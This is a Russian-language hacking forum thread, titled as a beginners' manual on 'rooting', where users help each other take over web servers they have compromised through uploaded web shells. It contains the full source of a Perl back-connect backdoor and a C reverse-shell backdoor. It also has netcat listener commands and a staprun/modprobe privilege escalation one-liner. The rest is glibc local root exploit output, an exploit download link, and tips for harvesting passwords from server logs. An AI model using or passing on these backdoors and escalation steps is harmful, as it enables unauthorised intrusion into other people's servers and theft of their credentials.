Авторские статьи Мануал новичкам: Рутанье

Discussion in 'Статьи' started by Dimi4, 28 Oct 2009.

  1. cashm

    cashm New Member

    Joined:
    25 Jan 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    -5
    i tak i tak delal. ne pomogaet. mozhet netcat krivoi????

    daite svoi kotori uzaete
     
  2. cashm

    cashm New Member

    Joined:
    25 Jan 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    -5
    wso vidaet pri backconect'e nobody 10061 0.0 0.0 2240 992 ? R 07:23 0:00 sh -c ps aux | grep bc.pl


    i v netcat tozhe samoe not found
     
  3. cashm

    cashm New Member

    Joined:
    25 Jan 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    -5
    zalil skompilil/zapustil on vidal:GLIBC local privilege escalation exploit

    Bugs found by Tavis Ormandy

    made by: devilzc0de.org


    eto ctho znachit??
     
  4. cashm

    cashm New Member

    Joined:
    25 Jan 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    -5
    rode vse vishlo.

    teper vopros po exsploiatm

    staprun vidaet:

    sh: staprun: comand not found


    ja vot eto v netcate zapuskal: printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever
     
  5. cashm

    cashm New Member

    Joined:
    25 Jan 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    -5
    i vot rezultat ispolzovanija pod glibc


    sh-3.00$ ./spl
    sh: dpkg: command not found
    suid.c:1:108: warning: no newline at e
    /usr/bin/ld: cannot open output file /
    collect2: ld returned 1 exit status
    mkdir: cannot create directory '/tmp/e
    ln: '/tmp/exploit/target': File exists
    sh: /proc/self/fd/3: No such file or d
    sh: line 0: exec: /proc/self/fd/3: can


    GLIBC local privilege escalation explo

    Bugs found by Tavis Ormandy

    made by: devilzc0de.org

    sh-3.00$ mkdir: cannot create director
    sh: /proc/self/fd/3: No such file or d
    sh: line 0: exec: /proc/self/fd/3: can
    ln: '/tmp/exploit/target': File exists
    /usr/bin/ld: cannot open output file /
    collect2: ld returned 1 exit status
     
  6. HBWS

    HBWS Member

    Joined:
    26 Nov 2010
    Messages:
    226
    Likes Received:
    22
    Reputations:
    0
    Согласен
     
  7. gringoire

    gringoire New Member

    Joined:
    3 Sep 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Гениально.
    Искал что-то на подобие этого, спасибо огромное.
     
  8. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Может кто нибудь сдлает обучающее видео для новичков???
     
  9. ilkin007

    ilkin007 New Member

    Joined:
    6 Sep 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Проблема с рутингом

    Привет всем!
    У меня такая проблема:

    2.6.18-194.3.1.el5.028stab069.6 #1 SMP Wed May 26 18:31:05 MSD 2010 i686


    Подобрал такую вещь:

    http://1337day.com/download/15065

    Запустил,

    PHP:
    gcc go.c
    (файл был назван go.c) вышли ошибки (syntax error), потом попробовал убрать комментарии из верха файла и добавил пустую строку внизу, скомпайлил, сработало, не показывает ошибок, но :

    PHP:
    sh-3.2id uid=48(apachegid=48(apachegroups=48(apache),2523(psaservsh-3.2$

    Не подскажете, что нужно сделать, чтобы стать рут здесь? Я в СИ не слишком силён)

    Заранее спасибо за помощь!
     
  10. [Warks]

    [Warks] New Member

    Joined:
    16 Nov 2009
    Messages:
    3
    Likes Received:
    1
    Reputations:
    -5
    вот за это спасибо димич)))
    Реально выручил
     
    1 person likes this.
  11. Live777

    Live777 New Member

    Joined:
    23 May 2011
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    А рутать вообще из под винды можно ? Просто сколько смотрю все только на линуксе работают что ли ?
     
  12. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Кидай в папку system32 содержимое архива:
    http://joncraton.org/files/nc111nt.zip
    Потом Win+R, а дальше по инструкции...
     
  13. Mr.Snuffer

    Mr.Snuffer Member

    Joined:
    2 Jul 2010
    Messages:
    140
    Likes Received:
    13
    Reputations:
    0
    Тут есть ещё кто живой? :)

    Короче такая штука.
    поднимаю у себя на серве листенер 31336 порта.
    netcat -l -p 31336

    В шелле соответственно выполняю

    print system('perl dc.pl мойип 31336');
    пишет
    но на серваке 0 реакции.

    код dc.pl

    PHP:
    #!/usr/bin/perl
    use Socket;
    print 
    "Data Cha0s Connect Back Backdoor\n\n";
    if (!
    $ARGV[0]) {
    printf "Usage: $0 [Host] <Port>\n";
    exit(
    1);
    }
    print 
    "[*] Dumping Arguments\n";
    $host $ARGV[0];
    $port 80;
    if (
    $ARGV[1]) {
    $port $ARGV[1];
    }
    print 
    "[*] Connecting...\n";
    $proto getprotobyname('tcp') || die("Unknown Protocol\n");
    socket(SERVERPF_INETSOCK_STREAM$proto) || die ("Socket Error\n");
    my $target inet_aton($host);
    if (!
    connect(SERVERpack "SnA4x8"2$port$target)) {
    die(
    "Unable to Connect\n");
    }
    print 
    "[*] Spawning Shell\n";
    if (!
    fork( )) {
    open(STDIN,">&SERVER");
    open(STDOUT,">&SERVER");
    open(STDERR,">&SERVER");
    exec {'/bin/sh''-bash' "\0" x 4;
    exit(
    0);
    }
    print 
    "[*] Datached\n\n";
    Что может быть не так?

     
  14. Cybersteger

    Cybersteger Member

    Joined:
    9 Oct 2009
    Messages:
    40
    Likes Received:
    13
    Reputations:
    15
    Для того чтобы сделать бекконект нужно чтобы у тебя был прямой ип адрес, исходя из твоего описания ситуации можно предположить, что у тебя не прямой ип, или фарейвол блокирует коннект.
    Решение данной проблемы:
    1) Купить дедик с прямым ип адресом и на него делать бекконетк.
    2) Биндити порт на серваке и коннектитись через неткат к нему (опять может возникнуть проблема с фаерволом но уже на стороне сервера\шелла)


    п.с:ты не порутаеш данный серв
     
  15. Mr.Snuffer

    Mr.Snuffer Member

    Joined:
    2 Jul 2010
    Messages:
    140
    Likes Received:
    13
    Reputations:
    0
    Ип прямой. Фаер возможно.

    А то что нет сплоитов - это пичально :(
     
  16. Mr.Snuffer

    Mr.Snuffer Member

    Joined:
    2 Jul 2010
    Messages:
    140
    Likes Received:
    13
    Reputations:
    0
    А есть способ узнать пасс от текущего юзера, от которого шелл залит?
     
  17. Cybersteger

    Cybersteger Member

    Joined:
    9 Oct 2009
    Messages:
    40
    Likes Received:
    13
    Reputations:
    15
    в FreeBSD пароли храняться в /etc/master.password в зашифрованом виде в 98% случая доступен только рут юзеру

    здесь стоит скорее вопрос зачем тебе интерактивный доступ, если ты не порутаеш серв, остальные действия можно выполнять и через веб-шелл
     
  18. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    если прямой ип и у тебя роутер возможно не настроен форвардинг портов и демилитаризированая зона на роутере.
    и отключи фаер у себя, да.
    попробуй еще другой бэк:
    Code:
    /*
    *********************************
    **** Network security team ******
    ********* nst.void.ru ***********
    *********************************
    * Title: nsT BackConnect Backdoor v1.0
    * Date: 09.04.2006
    * Usage:
    *	client:	nc -lp 9999
    *	server: ./backconnect <ip_client> 9999
    *********************************
    */
    
    #include <stdlib.h>
    #include <stdio.h>
    #include <error.h>
    #include <string.h>
    #include <fcntl.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <resolv.h>
    
    int main (int argc, char **argv) {
        struct sockaddr_in sock;
        int sd;
        char command[256];
        
        if (argc < 3) {
    	printf("%s <host> <port>\n", argv[0]);
    	return 1;
        }
        
        close(1);
        
        if ((sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
    	perror(argv[0]);
    	return 1;
        }
        
        bzero(&sock, sizeof(sock));
        
        sock.sin_family = AF_INET;
        sock.sin_port = htons(atoi(argv[2]));
        inet_aton(argv[1], &sock.sin_addr);
        
        if (connect(sd, (struct sockaddr *)&sock, sizeof(sock))) {
    	perror(argv[0]);
    	return 1;
        }
        
        close(2);
        dup(sd);
        
        bzero(command, 256);
        while (recv(sd, command, 255, 0) && strncmp(command, "quit", 4)) {
    	system(command);
    	bzero(command, 256);
        }
        
        close(sd);
        return 0;
    }
     
  19. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    если есть права читай логи, все что не лень. очень часто юзеры феилят и вбивают пасс вместо логина следовательно он записывается и другие случаи. пробуй пасс от разных сервисов, если есть возможность.
     
    1 person likes this.
  20. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    блин, чёто ссылочки из первого поста поздыхали, нс залил шелл скачать нужный сплоит, а дальше чем и как пользоватся?